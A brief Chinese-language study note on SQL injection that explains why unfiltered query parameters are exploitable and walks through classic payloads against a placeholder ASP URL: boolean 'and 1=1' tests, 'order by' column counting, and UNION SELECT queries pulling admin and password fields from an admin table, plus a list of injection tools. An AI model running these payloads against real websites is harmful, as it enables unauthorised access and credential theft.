Sql注入原理分析:
网站程序存在可控传递参数,参数未进行过滤直接带入数据库查询,导致攻击者可通过传递恶意sql语句代码进行执行攻击。
Sql注入产生条件
1.必须有参数传递
2.参数值带入数据库查询并执行
判断是不是用注入:
例:http://www.xxx.xxx asp?id=xx asp?id=xx
用'或 and 1=1 正常页面
and 1=2 错误页面
3.猜解列名数目
用order by 猜解有多少个列名。
Order by 22 22 代表查询的列名的数目有22个
http://www.xxx.xxx asp?id=xx order by 22 正常
http://www.xxx.xxx asp?id=xx order by 23 错误
4.猜解表名 确定存在admin表名
http://www.xxx.xxx asp?id=xx UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
5.猜解列名 猜解数据
http://www.xxx.xxx asp?id=xx UNION SELECT
1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
注入工具:
啊D,明小子,穿山甲,萝卜头,sqlmap
工具功能性:
支持数据库类型,支持注入类型,注入突破类型,工具速度